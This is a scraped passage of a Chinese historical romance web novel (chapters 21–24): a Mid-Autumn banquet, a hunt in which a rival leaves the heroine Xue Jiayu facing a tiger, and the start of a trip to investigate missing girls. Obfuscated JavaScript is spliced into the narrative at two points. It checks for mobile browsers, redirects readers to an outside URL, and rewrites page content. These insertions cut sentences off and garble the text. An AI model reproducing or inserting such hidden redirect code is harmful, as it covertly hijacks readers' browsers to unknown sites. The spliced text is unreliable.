“有我在,你不必害怕。不过自己一个人莫要进到这深山里来,会有很多野兽出没的。”裴砚握住缰绳,调转方向,回到原来的方向,“今日只要你能猎到一只野兔,我便放你回去。” 她觉得裴砚有些强人所难。 薛嘉玉弱弱地试探:“那要是我一直都没抓到兔子呢?” “一直都没抓到啊?” 裴砚看向她的目光中多了一丝戏谑,他勾着唇角,狠狠道:“那我就把你丢到捕兽坑里面去,让什么野狼啊老虎这些的给你作伴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛嘉玉回家麻溜地把兔子处理得干干净净,一毛不剩,然后在屋外那一隅小小的庭院中搭起火堆,用树枝把兔子夹在火上烤着。 一不留神,丰美的大腿就被火给烤焦了。 她连忙用手扯下兔腿,对着香气四溢的兔腿吹了吹气,薛嘉玉一口咬下去,就在嘴里又烤了一次腿肉,她被烫得直呼呼。 “哟,在烤兔腿吃呢!” 薛嘉玉循声望去,大门外站着一个拿扇子的骚包和一匹红马,“景天把马还给你了?” 提起崔景天那小娘子,陈晟心里就有一团火,他闷哼一声,气得甩甩袖子,“哼,她不给,我就去崔府偷的——不对,是正当取回。” 她撕咬了一口腿肉,含糊道:“那你还不快走,一会儿景天要是追上来可就不好了。” 陈晟不急不忙地上了马背,他忽然想起了一件事情,“对了,你中秋节不同裴砚一起过吗?” 薛嘉玉的脑袋上忍不住冒出几个问号,她甚是不解,为什么最近总有人才凑合她和裴砚? 她狐疑道:“为何要同裴砚一起?” 陈晟心虚地用手捂住嘴巴,他没想到裴砚竟行事如此缓慢,简直比王八还慢,他的小眼珠子无助地左看看右看看,随后哈哈干笑两声。 “你要是不同裴砚一起,那就跟我去洛阳吧。中秋节那天,洛阳知府会举办一场中秋佳节宴,那河边还会办放花灯的活动,想随我一起去嘛?” 薛嘉玉更懵了,她脑子一下子变得空白,不知道该说什么才好,良久后才皱着眉头,充满疑惑地反问:“为何我就不能一个人过?” 21. 中秋 反应过来的陈晟立刻用手拍了拍嘴巴,“当我嘴笨,当我嘴笨,我先走了,薛娘子保重。” 话音刚落,陈晟便手拿长鞭,踏着马蹄,扬长而去。 薛嘉玉只觉得他简直就是莫名其妙,专门跑过来就是为了问她中秋节是否要和裴砚一起过? 怪哉怪哉。 她带着满腹疑惑,三两下就把手里的烤兔都给吃干抹净了。 * 裴砚明明说着要教她骑射,可之后这段日子里连他的一根毛都没有看见,还是崔景天重情守诺,每日都来催促她学骑马。 这日正值中秋佳节,长安倒是难得的风和日丽,天朗气清,崔景天并未找她去骑马,而是诚挚地带着一筐子的礼物来邀请她。 薛嘉玉站在面前跟她都快差不多高的箱子面前,用手摸了摸箱子,发现这箱子还是皮革的。 “景天,你好端端地送这么多东西做什么?” 崔景天大手一挥,屏退了那些抬东西过来的下人,她将箱子打开,里面装着各式各样的成衣布匹,还有金银珠宝。 “我们认识这么久了,我还从未给过你见面礼,这礼也并不丰厚,你就收下吧。” 薛嘉玉目瞪口呆。 这还能叫不丰厚? 果然,她还是无法想象权贵们的奢侈生活。 “可我没有准备礼物啊,这礼我不能收。” 崔景天送她礼物,并非是为了也向她讨一份礼物的,她绕着身着布衣的薛嘉玉转了一圈,“你呀还是穿绢丝好看一些。不用跟我客气,也不用给我送礼,安心收下吧,否则的话我就要生气了。况且,我今日来找你是为了一件事情。” 方才薛嘉玉就在心里面默默好奇,为何今日中秋,崔景天还有闲暇时间来找她? “什么事?” “崔家办了一场中秋宴,宴请了长安各户官宦小姐和公子,你同我一起去,顺带瞧瞧长安的五陵年少啊。” 薛嘉玉眉头微微蹙起,眸中划过一丝迟疑,她两手合在一起搓了搓,“可是他们都是高门大户的孩子,我去岂不是很违和?” “哪里违和?你可是我崔景天亲自登门邀请的宾客,谁敢欺负你?” 见她还是有些犹豫不决,崔景天撅着嘴巴,牵着她的手晃了晃,可怜巴巴地求着,“阿玉,你就陪我一起去吧,我久而未回长安,跟那些人都不熟。有你在我身边陪着,我会觉得安心一些。” 都说撒娇的女子最好命,薛嘉玉原来一直很鄙视这句话,可现如今瞧见崔景天牵着自己的手,软乎乎地冲着她撒娇,薛嘉玉一时间竟也抵挡不住。 薛嘉玉素来不喜欢权贵,但她这次实在是拗不过她,便心一横,牙一咬,点头同意了。 见她终于答应了,崔景天便将她摁在梳妆台前坐下,她为了从箱子里翻出自己买的脂粉,直接探了半个身子进去,才终于把脂粉翻了出来。 崔景天仔细地给她用梳子梳着一缕缕青丝,“我替你打听了,今日那沈府的大公子也会来参加,据说那沈大公子风流倜傥、谈吐得体,而且仕途一路风顺,想必未来他也可成为我朝的股肱之臣。他的脾气可比裴砚好得多,你定会喜欢他这样风度翩翩的公子。” 薛嘉玉没想到她让自己去参加宴会,还是为了给自己牵红线,只可惜她如今没有这个心思。 “我如今并未有谈婚论嫁的打算,况且就算要择婿,也不会选择高门大户,否则有的我罪受。” 她一早就料到薛嘉玉会驳斥,所以提前派人去多多打听了一下沈府,崔景天一脸姨母笑,“你休要担心,这沈府对于娶妻没有那么多的条条框框,你若当真嫁过去,日子应当不会过得很苦。” 薛嘉玉笑了笑,“多谢你的美意,只是我还是想要先多挣一点钱。” 崔景天是嫁过人的,知道一旦要是嫁错了人,那么赔进去的就将是自己的一生,她没有勉强,反倒是十分支持她的抉择,“说的也是,先立业,后成家。你若实在不喜欢那位沈公子的话,我便给你物色其他公子。” 不知怎的,她的心中蓦地浮现出一个问题,薛嘉玉有些好奇,这裴府对于娶妻是什么样的态度? 记得之前在长乐坊的时候,裴砚说裴家有家规,只能娶妻,不能纳妾。 想必裴府属意的妻子定是世间难得的知书达礼、温柔贤淑的女子吧。 崔景天简单给她打扮了一下,接着从箱子里翻出她特意准备的衣裳,这套衣服通体粉色,方形衣襟的边沿镶嵌着一排小珍珠,胸口的位置甚至还绣有一大朵盛开的牡丹,裙摆是由蜀锦制成,手感丝滑,在阳光的照耀下浮光跃金。 这套名贵的衣服与这间陋室并不相配。 崔景天从头到脚地打量了她一遍,“真美,你以后出门都得穿我送给你的衣服,这个是我搜罗了全长安所有衣料店选出来的。” 薛嘉玉也很喜欢这套衣服的料子,果然还是得要多赚点钱才是王道。 她们二人手挽着手,穿过热闹的街市,来到皇城根下,此处不见街头要饭的乞儿,也瞧不见在街边摆摊的百姓,这里卖着上等的日用品,开着足足有五六层楼高的酒楼和茶馆,左邻右舍都是长安有头有脸的人物。 崔家是官宦大族,门楣不输那些亲王府,但崔府内院的装饰却并不华贵,院落大小也完全按照朝廷规定的礼制,想必也是害怕政敌抓到崔家的小辫子。 薛嘉玉跟着她来到外院的花园,许多官宦小姐都聚在此处讨论着时兴的布匹和脂粉,而男子们则是围在一堆斗蛐蛐,或是讨论科举一事。 崔景天毕竟是东道主,她一来,那些客人们都会看在崔家的份上,纷纷起身向她行礼。 好几位女郎的视线都不禁落在她身边那位身着蜀锦的女子身上。 蜀锦并非长安城里最昂贵的布匹,但也不是随便哪个百姓动动手指头就能买得起的。 因此在座的女郎都对这位女子的来历甚是好奇,若是这长安的新贵,照理说,她们应当打过照面才是。 此时,一位身着紫衣的女子端着毛茸茸的手炉,走上前来,冲着崔景天行了行屈膝礼,旋即把探求的视线转移到了薛嘉玉的身上。 紫衣女子谈吐得体,“小女名叫卫颜,敢问这位小娘子叫什么名字?” 薛嘉玉老实交代,“姓薛,名嘉玉。” 卫颜含笑点头,瞬间把目光挪到了崔景天的身上,她脸上不禁浮现出一丝谄媚的笑容,“崔娘子,听闻你近日素爱骑马,不如我们一同去城郊的围猎场比骑射吧?” 崔景天不喜赏花或是作诗吟赋,既然有人主动提起骑射,那她自然也不会拒绝,“好啊,那想要参加骑射比赛的就请随我走吧。” 说罢,她悄悄凑到了薛嘉玉的耳畔前,压低声音,“一会儿 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她愤愤地望着前面,跺了跺脚,发誓一定要将崔景天给捉回来,然后蒙到麻布里,狠狠踢她两脚,然后就快马加鞭把她送到陈府,让她和陈晟日日斗嘴! 沈峤很少接触小娘子,他偏过头,将视线落在薛嘉玉愤愤不平的侧脸上,“薛娘子?” 薛嘉玉脸上扬起一抹很勉强的笑容,她朝着他手里的《孟子》投去一个眼神,“沈公子,你——很喜欢读书?” “君子曰:学不可以已。如今我已入朝当官,更应当多读书,方能造福一方百姓,让黎民苍生养生丧死无憾。”[1] “没想到沈公子身居高位,仍旧心怀天下。” 他沉吟道:“其实我本来本不想入世,只是后来无意得知多年前长安有一户人家在一夜之间被灭口了,便决心入世,进了刑部。” 薛嘉玉的心脏忽然间被提到了嗓子眼,她默默握紧双拳,语气难掩着急,“长安有一户人家被灭口了?你可知是哪一家?” 沈峤不知这小娘子的情绪为何突然间就激动起来了,他努力回想了一下,“我记得那户人家姓薛,那群贼人竟敢在天子脚下趁着夜色杀人,一个活口不留,此案案情重大,交给了大理寺审判,可后来却不了了之了。” 她迫切追问:“为何不了了之了?是凶手买通了大理寺吗?” “大理寺的事情我就不知道了,薛娘子若是好奇,可以去问问大理寺的少卿们,他们都是可以直接接触陈年卷宗的。” 大理寺少卿? 那岂不是说裴砚也有可能知道此事? 只是,此事不便直接问起,否则的话就会引他怀疑。 薛嘉玉默默低头沉思着,脚下的枯枝败叶被踩得发出咔嚓咔嚓的声音,一不留神,竟被路上的小石子给绊住了。 眼见着自己要摔倒在地,她下意识伸出两只手,曲起手臂,闭上眼睛等待着“砰”的一声摔在地上。 可是摔倒并未如期而至,劫后余生的她瞥向抓着自己手臂的那只骨骼分明的手,薛嘉玉顺着这只十分漂亮的手向上挪动视线,旋即停在了沈峤那张略有些慌张的脸庞上。 薛嘉玉连忙站好身子,对着他行了行礼,“多谢沈公子。” 沈峤伸出双手将她扶起来,“不必言谢,薛娘子今日打扮得如此美丽动人,自然不能摔着了。” 22. 遇虎 “沈公子谬赞了,我找景天还有事,就先行一步了。” 沈峤不语,点了点头。 薛嘉玉立刻提起裙子,拔腿就跑。 他立在原地,默默望着她匆忙的背影。 她很快便追上了崔景天的步伐,薛嘉玉单手扣住她的手臂,狠狠道:“崔——景——天!” 崔景天拍了拍她的肩膀,笑着解释:“我这不是专门给你俩提供接触的机会嘛,觉着他怎么样?” 薛嘉玉松开了她的手,气鼓鼓地将两手抱在胸前,偏过头去不理人。 她两手抓着薛嘉玉的左臂,轻轻晃了晃,“别生气了嘛,你不喜欢就罢了。” 薛嘉玉的脸色稍微和缓了一些,她转过身来,“那你以后不准这样了哦。” 只见崔景天将右手放在太阳穴旁边,掌心朝外,“放心,我一定不这样了。” “这还差不多。” 说着,她便挽上了崔景天的臂弯,路上,薛嘉玉随手从花圃中摘了一朵野花,将花送给了崔景天,“你瞧这花开在野外,却不输于那些家养的花朵。” 崔景天伸手接过野花,将花踹进了袖子里,她猛地想起了一件事情,踟蹰道:“对了,阿玉,你不肯让我介绍那些才高八斗的男子,是否是因为心悦于裴砚啊?” 薛嘉玉解释这件事情已经解释倦了,“虽然他确实比较照顾我,可我对他真的没有任何一丝非分之想。” 来到围猎场地,贵女和男子们都已经蠢蠢欲动了,甚至有几个已经从马厩里挑了几匹中意的马儿,牵去一旁打马球了。 剩下的不是寻了个遮凉的地方坐下,继续吃吃喝喝,就是去牵马,准备去山林里面捕猎。 崔景天正要把她安顿在一旁休息,卫颜却忽地牵着棕马,迎了上来。 她莞尔一笑,“薛娘子怎不同我们一块儿捕猎啊?薛娘子难得同我们一聚,还是莫要自己一个人待着,多无聊啊。” “你——” 崔景天才张开嘴巴说了一个字,就被卫颜给无情打断。 卫颜的脸上依旧挂着那抹温柔的笑容,她说话总是不疾不徐,“崔娘子,你身为东道主,应当留在此处,陪同这些宾客们,勿要让他们觉得你崔家招待不周才是。这些礼节,想必你那位在宫里的姐姐是教过你的吧。” 她素日里最记恨别人在她面前提起自己姐姐,崔景天本想跟她好好唠上一唠,但薛嘉玉却突然间插了进来。 “景天,卫娘子此言不差,我去与她们比一比便是,你就等着看我满载而归吧。” 崔景天还是放心不下,“不可——” 薛嘉玉安抚似地拍了拍她的手背,“莫要担心,我有分寸。” 因为这围猎场正是前几日裴砚带她来的那个。 况且,她进去之后跟着那些人便是,能不能捕到动物并不重要,只要能够安然无恙出来就行。 卫颜替她选了一匹黑马,众人纷纷执着弓箭,翻身上马,整装待发。 为首的人正是卫颜,薛嘉玉紧紧跟在她的身后,她倒是想看看这卫娘子的葫芦里究竟卖的是什么药。 卫颜带领众人走了一条狭窄崎岖的山路,小路两旁都生长着密密麻麻又高耸入云的竹子,但凡有一阵微风拂过,那竹叶便会开始颤抖,沙沙作响,骇人至极。 薛嘉玉发现这条路是直通深山的,同那日裴砚带她走得那条路并不一样,她立刻高度警觉起来,飞速留意周围有无任何特殊之处。 此刻已快到红日西垂之时,若要进到深山里面的话,则还得费上一刻钟的时间,等到了那时候,山中野兽便也开始苏醒,纷纷出来觅食。 卫颜瞧她似乎是有些胆怯,笑着调侃:“薛娘子曾经没有来过捕猎场吗?只有到了这个时辰,才能捕到最凶猛、最有价值的猎物。况且这里这么多人,薛娘子何必害怕?” 薛嘉玉在心里默默骂了句:你不要命,我要命。 但她面上赔笑,“卫娘子说得是,说得是。” 深山里面,千年古木高耸入云,巨大的石块上长着苔藓,日落时分的阳光根本透不过如云海一般的树叶,整个林间都弥漫着一股泥土的味道。 卫颜调转马头,对着身后众人道:“大家尽情捕猎吧!” 话音刚落,众人便作鸟兽散开,纷纷奔向树林的四面八方。 薛嘉玉选择按兵不动。 卫颜好整以暇地盯着眼前面色凝重的小娘子,浅浅地叹了口气,“薛娘子,你若是不会骑射,一开始就应当直接提出来啊,这——你要是一不小心出了什么事,那我该怎么和崔娘子交代啊?” “我瞧卫娘子应当极为擅长骑射,不妨我就一直跟着卫娘子吧?” 她敛了敛眉,转而一笑,“好啊,薛娘子随我来吧。” 薛嘉玉紧紧跟在她的马屁股后面,忽然听见卫颜问:“薛娘子和沈公子认识?” “沈公子这般风光霁月的公子,我自然是不认识的。不过是今天有幸碰见,在一起聊了一会儿罢了。” “原来如此。”卫颜猛地勒马,回过头看向薛嘉玉,眸中划过一丝傲慢,“近日,沈府有意结沈、卫两家姻亲,还望薛娘子莫要插足。” “卫娘子大可放心,我对沈公子无半点情谊,绝不会破坏两家的婚事。” 天色渐暗,卫颜骑着马继续上山,此刻她早已猎到一头凶猛的野熊,而薛嘉玉只猎到了一头野猪。 “卫娘子,不妨我们回去吧?” 卫颜侧头瞧了眼她马上的野猪,戏谑道:“薛娘子,仅靠一头野猪恐怕是无法获赏的吧?” 不管她怎么回答,薛嘉玉都已经打定主意要下山了,她拉了一下缰绳,让马侧过身去,“卫娘——” 话尚且没有说完,空荡荡的野山中忽然响起一阵老虎的嚎叫,响彻九霄。 紧接着,一头长得凶神恶煞的山老虎穿过层层阴影,它低着头,两眼朝上,双眸中尽显凶狠。 老虎缓慢地朝着她们二人走来,脚下的树叶被踩得咔咔作响,林中的其他动物纷纷绕道而行。 薛嘉玉下意识就拉扯缰绳,打算立刻策马离开,可是卫颜却为了能让自己顺利逃脱,故意撞了一下她的马匹。 万幸的是,薛嘉玉并没有从马背上翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065318|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,她死死揪住缰绳,手心早已冒出一层冷汗。 马儿见了森林之王,也不由得害怕,它下意识地一点一点往后退。 然而老虎似乎是打定主意要吞下面前这两个猎物了,不断向前迈步,嘴里发出阵阵低沉的嚎叫。 薛嘉玉知道此时若强行策马而去的话,定然也是甩不掉这头老虎的,说不定还会因此触怒老虎,导致老虎失去理智,猛扑上来。 她佯装镇定地盯着面前的老虎,为了想出一个万全之策绞尽脑汁。 所以,现在究竟应该怎么办呢? 席上,崔景天见大部分人都已经打到猎物,满载而归,却还是没有见到薛嘉玉的踪影。 她心中隐隐泛起阵阵不安,直到看见卫颜的那一刻,崔景天脑中紧绷的那根线啪的一声就断裂了,她急冲冲地跑到卫颜面前,厉声质问:“薛嘉玉呢?” 见卫颜闭口不谈,崔景天没忍住一个巴掌呼了过去。 旁边一位姓施的小娘子见状,连忙凑过去安抚崔景天的情绪,“景天,卫颜好歹也是宰相之孙,当众让她丢了面子,回去恐怕不好向伯父伯母交代。” 可是薛嘉玉若出了什么事,崔景天不仅无法原谅自己,还无法向她的家人和裴砚交代。 崔景天伸出食指指着她,“卫颜,你现在就默默祈祷她没有出事,若是她哪儿伤着了,我可不会看在卫老爷子的份上,轻易饶过你。” 说罢,她直接夺过卫颜手里牵着的马,迅速翻身上马,手执长鞭,狠狠拍了一下马儿,马儿哀嚎着朝着前方疾驰而去。 刚至山脚,却恰巧碰见同样骑马而来的裴砚,裴砚得知薛嘉玉与别人一同上山狩猎,心急如焚,“薛嘉玉呢?” 事情紧迫,崔景天简单解释:“她同别人进去狩猎,到现在也没出来。” 听及此,裴砚心中顿时有了一种不好的预感,一句话也没留下,就立刻策马离开。 薛嘉玉蓦地有了一个主意,她向后瞥了一眼背篓里仅剩的四根箭矢,只是这法子须得奋力一搏,否则她就真的出不去了。 她不动声色地从背篓里抽出一根箭矢,用手向后拉紧弓弦,努力瞄准不断向前逼近的老虎。 薛嘉玉将箭头向下挪,定在了老虎的腿上,脑中倏地响起了裴砚叮嘱的话。 ——“莫要犹豫,否则你就会成为那个被捕的猎物。” 她手指一放,箭矢瞬间飞了出去,不偏不倚地插进了老虎的腿上,疼得老虎发出阵阵哀嚎,哀转久绝。 但这一箭并不能够让老虎知难而退,老虎似乎是被触怒了,它猛地冲着薛嘉玉的方向冲了过来。 马儿下意识地就转身逃跑。 薛嘉玉没抓紧缰绳,差点被马儿甩了出去,她尽力稳住自己,从背篓里又抽出一支箭,壮着胆子转过身去。 但是山路崎岖不平,再加之马儿奔驰速度极快,马背十分颠簸,薛嘉玉难以瞄准老虎的另外一只腿。 她神经高度紧绷,薛嘉玉尽力瞄准老虎的腿,看准时机,毫不犹豫地松开弓弦。 箭矢无声无息地飞走,划破寂静的天际。 23. 青翡玲珑耳铛 数步之外的老虎被箭矢射中另外一条前腿,它疼得应声倒地,两支箭皆狠狠插在腿上,鲜血不断向外涌出,它现如今根本使不上力去追都已经到了嘴边的猎物,只能眼睁睁地看着猎物溜走。 尽管甩掉了这只老虎,但薛嘉玉也万万不敢松懈,她现在草木皆兵,手中仍紧紧握住唯一的武器。 直到看见前方策马奔腾的崔景天和裴砚的时候,薛嘉玉立刻松了口气,紧绷的神经也瞬间松懈下来,她瘫软无力地趴在马背上。 崔景天连忙询问:“阿玉,方才我们听见了老虎的声音,有没有受伤?” 她摇摇头,怕崔景天担心,只简单回了句:“放心,我没事,都是虚惊一场。” 裴砚将她手里的弓箭拿了过来,随后偏头对崔景天说:“我把她带回去,你先走吧。” 把她交给裴砚,崔景天心里面自然是一万个放心的,且中秋宴那边,她身为东道主,也是不可缺席的,便立马离开。 裴砚让她到自己的马背上来,“明明自己骑射不精,还随别人一同来这深山老林里比骑射做什么?” 薛嘉玉下了马,拍拍马屁股,马儿一下子就跑走了。 她现在仍有些心有余悸,薛嘉玉难得主动抱上了裴砚劲瘦有力的腰肢,“大人,你不知道那头老虎有多么可怕。若不是因为那日你教了我一些技巧,否则我现在就在老虎的肚子里面了。” 裴砚也觉得自己刚才确实不应该那么说,应当率先宽慰你才是,他鬼使神差地拍了拍你抱在他身前的手,“就算你没有摆脱老虎,我和崔景天也会赶来救你的,绝不会眼睁睁看见你被老虎吞进肚子里面去的。” 他从方才起就注意到薛嘉玉今日穿得十分典雅隆重,裴砚不禁看走了神,察觉到自己有些失态,他便从大氅里头掏出一个蓝色的布包,递给身后的薛嘉玉。 薛嘉玉茫然接过,轻轻掂了掂,里面装着的并不是金元宝,“大人,这是什么?” 裴砚骑着马,并未回头,淡淡道:“我长嫂做的月饼,我吃不完,你拿去吃了吧。” “长嫂?原来大人还有个兄长啊。” 她揭开布袋,里面放着八块月饼,制作精美,薛嘉玉拿起一块月饼,大大地咬了一口,还是豆沙馅的。 “大人,这么好吃的东西你都舍得给我,真是暴殄天物。” 见她喜欢,裴砚也就放心了,他扬唇一笑,提议道:“你若喜欢,便随我一同回一趟裴府,小厨房里面多的是。” 薛嘉玉手里拿着咬了半块的月饼,她眸光微亮,有些不敢相信,“真的吗?我都已经好久没买过月饼吃了,真的可以吗?” 等等!薛嘉玉!你刚刚都说了些什么大逆不道的话? 你和裴砚是什么关系?居然就敢进裴府了? 薛嘉玉现在想立刻找个地洞钻进去。 她垂下头,闭着双眼,根本不敢看裴砚,就连手里的月饼都觉得甚是不香了。 “对不起大人,是我失了分寸,你不用骂我,我会自己进行深刻反省。” 裴砚看向她的眼神中含有深意,随即忍不住笑了声,“你不用担心,我长嫂很和蔼的,不会计较,至于我长兄嘛······他就是头死倔驴,你不必管他,当他不存在就成。” 闻言,她忍不住喃喃道:“说得好像你不是个死倔驴一样,天天拉着个驴脸,偶尔又赏点好脸色。” 他冷着脸,装作没有听到,“你说什么?” “我什么都没说!”薛嘉玉一手捂住嘴巴,一手放在太阳穴面前发誓,“我发誓!” 马匹已经下了山,停在了裴府门口。 “所以……你跟我一起回去吗?” 她还是有些担忧,“真的没关系吗?” “无碍,不必在意。” 此时,夜幕降临,因为今天是中秋节,商贩们都早早归家,与家人们团聚,所以街道上人迹罕至。 裴砚下马,站在旁边,一手扶着马鞍,一手扶着薛嘉玉的手臂,“你慢点。” 薛嘉玉在他的保护下下了马,站在裴府门口,用手理了理自己的衣襟和臂弯上挎着的披帛,“你长兄和长嫂当真不介意?” “当真,我唬你作甚?” 她总觉得自己的仪容仪表不太完美,又抬起手扶了扶发髻上簪着的发钗,“你看看还有没有哪里没弄好?” 裴砚的眼神在她身上逡巡了一遍,认真地回答:“很完美。” 他带着薛嘉玉踏进了裴府的门,长嫂正坐在正厅算着这个月府里的开支。 “长嫂。” 薛嘉玉恭恭敬敬地行礼,“长——夫人好。” 她差点儿跟着裴砚叫了一声“长嫂”。 蒋宁显闻声望去,瞧见裴砚身边站着一位与他年纪相仿的小娘子,惊得连忙放下手里的玉算盘,她从椅子上站起来,缓步走到薛嘉玉面前。 她的视线投在了裴砚身上,“这位小娘子是?” 裴砚言简意赅地说:“她是我的下属,叫薛嘉玉。她觉得你那月饼还挺好吃的,想再来讨点走。” 薛嘉玉顿时没有脸面站在这儿,她真的想一拳把裴砚捶进这裴府的地下面去埋着。 干嘛要说得这么直白? 蒋宁显出身世家大族,又是嫡长女,性格自然是贤惠温柔,懂事理顾大局,她也没有多想,笑吟吟地拉着薛嘉玉的手,“小事一桩,你随我来小厨房吧。” 裴砚左顾右盼,也没瞧见裴珩的身影,这好歹是中秋佳节,怎么着也得在府里陪着长嫂吧,于是他好奇一问:“长嫂,我兄长呢?” 提到这个人,蒋宁显的脸色就肉眼可见地沉了沉,“他在书房忙着呢。” 说罢,蒋宁显的视线又落在了薛嘉玉身上,嘴角再度扬起一抹和煦的笑容,带着她往前走了几步,“薛娘子,你当真只是文溪的下属?” 薛嘉玉诚实地点点头,“对。” 蒋宁显浅浅叹了口气,没再继续说下去,她们二人来到偏院的小厨房,桌子上还摆有好几盘月饼。 “夫人,你做了这么多月饼啊?” 她一边找来一个食盒,将盛有月饼的盘 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薛嘉玉看他气得不轻,不忍在心里面好奇这裴珩究竟是个什么人物,怎么能够做到让自己两位重要的亲人都不想理睬他的? “大人,你别生气了。好歹长兄如父,想必他说教你也是为了你好。” 裴砚原以为她会安慰自己,没想到她反而还替裴珩那个死驴说话,他现在气得更厉害了,“你知不知道,那死驴是想让我快些找个门当户对的成婚。他自己和长嫂都过得不幸福,凭什么指摘我的婚姻?” 她的关注点并不在裴砚被催着结婚这件事情上,而是问:“不幸福?为何?” “他们两个是当初父母强行定下婚约,硬拉在一起的。距今,成婚已有一年了吧,两个人的关系还是跟刚成婚那会儿一模一样。不过至少他们从不吵架,死驴也没有为难过长嫂,在外倒是也给足了长嫂面子。” 薛嘉玉这下倒是有一点想不通了,“既然是这样,那为何他还要催促着你快些娶妻呢?” “都和你说了,他就是头死驴,脾气古怪,寡言少语,谁知道他心里面怎么盘算的?” 交谈间,二人就已经走到了西市,薛嘉玉推开宅院的门,提着食盒的那只手就被裴砚给扣住了,她蓦然回首,只见面前风流倜傥的小郎君有些心事重重。 “大人,你怎么了?” 裴砚没有出声,从袖中拿出一个朱红色首饰盒,“送你的中秋礼物。” 她挑了挑眉,犹豫着接过首饰盒,推开盒子,里面是一对青翡玲珑耳铛,吊坠呈细长的水滴形,颜色淡雅。 薛嘉玉小心翼翼将耳铛收好,对着裴砚浅浅鞠了鞠躬,“多谢大人。” “真的喜欢吗?怎么瞧你似乎没那么开心?” 难道说,她还是更喜欢陈晟送的那对? 裴砚默默在心里面这样想。 她浅浅一笑,“大人,我真的很喜欢,谢谢你的耳铛和夫人的月饼。” 薛嘉玉敢说,这是她自离开洛阳以后,过得最开心的一个中秋节了。 24. 金陵 这几日大理寺人心惶惶,气氛压抑,今早裴砚刚踏进大理寺的门槛,就被年迈的大理寺卿叫了过去。 大理寺卿将一份案卷卷宗递给他,“自上月开始,金陵就有不少户人家报官,称自己的女儿或是妹妹失踪了,才不过短短一月就登记在册的失踪少女人数就已达上百人!可金陵衙门迟迟没给朝堂一个结论,圣上龙颜大怒,下令让大理寺前去协助调查。我看裴少卿年少有为,你今日便去金陵,定要查个水落石出。” 裴砚接过案卷,行了一叉手礼,一本正经地回应:“是,大人。” 他步履匆匆,金羽快步跟上,二人火速赶到薛家门口,正巧此时薛嘉玉在院中晾衣裳。 薛嘉玉一见他来,如见死神,她立刻将衣服晾好,跑到裴砚身前,“大人,怎么了?” 相比上次,裴砚这次倒是有耐心多了,“快去收拾行囊,今日得去金陵查案。” “哦,好。” 她应下后,就立刻转身进屋,匆匆忙忙从衣柜里抽出一个布包,将衣服和那对青翡玲珑耳铛一起用蛮力塞了进去。 等她再次推开门出来的时候,发现自己的门前还多了一辆宽敞的马车,薛嘉玉忍不住感叹:“大人,你终于肯用马车了。” 裴砚还以为她会夸自己贴心,果然不能指望她夸赞自己。 金羽骑在马背上,裴砚殷勤地给她放好凳子,扶她上去,随后自己轻轻一跃,便极为轻松地上了马车。 他掀开帘子,坐在薛嘉玉的对面,同她简单说了说案件的情况。 薛嘉玉眸中划过一丝狐疑,盯着裴砚那张极具诱惑性的脸蛋看了许久,旋即冷不丁地问了一个和案情根本不相关的问题。 “大人,你就不怕我去了,也会被拐走吗?” 裴砚还以为她会问个什么惊天地泣鬼神的问题呢,他淡定地喝了口茶,“你在我身边待着,怎么可能会被拐走?” “可我们又不是一整天都绑在一起的,指不定在你晚上睡觉,或者和金羽偷偷出去办事的时候就把我给掠走了呢?” 不知怎的,他竟然想到了那个层面,耳尖不禁染上一抹淡淡的绯红色,裴砚轻轻咳了两下,“注意言辞,此次出行代表的是大理寺。” 薛嘉玉也学着他说话的语气,又轻又淡地回了一个字:“哦。” 她单手掀开窗帘,看向外面飞速掠过的景色,窗外一片翠绿,薛嘉玉想,若是能在这山间修一间茅屋好似也很不错。 金陵离长安甚远,估计得要赶上好几天的路才能抵达。 不过据说那金陵地处江南,素有“水乡”的美名,江面上有小舟划过,烟波浩渺,城中的青砖黛瓦、飞檐翘脚尽显历史痕迹,薛嘉玉也总算可以一饱眼福了。 裴砚瞧她有些走神,就用手在她面前晃了晃,“又想到什么了?” 薛嘉玉两手捧着脸蛋,两眼都写着“憧憬”这两个字,“我在想古诗中对于金陵的描述,已经迫不及待地想要快些到金陵一探究竟了。” “若有空的话,我便陪你一同去玩会儿。” 她连忙摇头,跟拨浪鼓似的,“不必了,我可没那个豹子胆敢耽误大理寺少卿查案,我自己去就是了。” 裴砚真觉得这人挺有意思的,“你方才还在担心自己会不会被拐走,现在又有胆量一个人出去玩儿了?” 薛嘉玉一时也无法前后自洽,只好生硬地岔开话题,“对了,你兄嫂二人关系可缓和一些了吗?” “我说过不会再去裴府找他,自然不知道他们二人如今是什么样了。” “他们好歹是你的家人,你也管管嘛。” 裴砚拿起茶壶,给她倒了一杯云雾茶,“尝尝。” 她忐忑地拿起茶杯,一边小心翼翼地抿着茶,一边偷偷掀起眼皮观察裴砚的表情,看他脸上并无多余的微表情,便放心喝了。 一口热茶下肚,一股清淡的茶香味在嘴中蔓延,薛嘉玉抿了抿,有些惊讶,“哦,是云雾茶!” 说着,薛嘉玉又端起茶杯,像喝酒一样一饮而尽,接着又拿起茶壶哐哐给自己倒满一杯,她像是喝上了瘾一般,喝完一杯又倒一杯,喝完一杯又倒一杯,裴砚就在旁边那样默默看着。 最后,他瞧着茶壶里面连一点挂壁的茶渍都没有了,忍不住发问:“薛娘子,你属河马的啊?” 薛嘉玉拍拍被茶水填满的肚子,“大人,这实在是太好喝,我确实是一下子没忍住。” 裴砚将茶壶和茶杯一一整理好,以免到时候因为路面颠簸,导致茶壶滚倒在地上,伤着了人。 “罢了罢了,只要你一会儿别时不时就嚷嚷着要出恭就行。” 没想到,裴砚这无心的一句话竟真的一语成谶了。 刚行了一段路,薛嘉玉就忽然尿急,连忙下车准备找个偏僻的地方出恭,但还是担心会碰见什么不正经的人,就打算让金羽下马来给她望风。 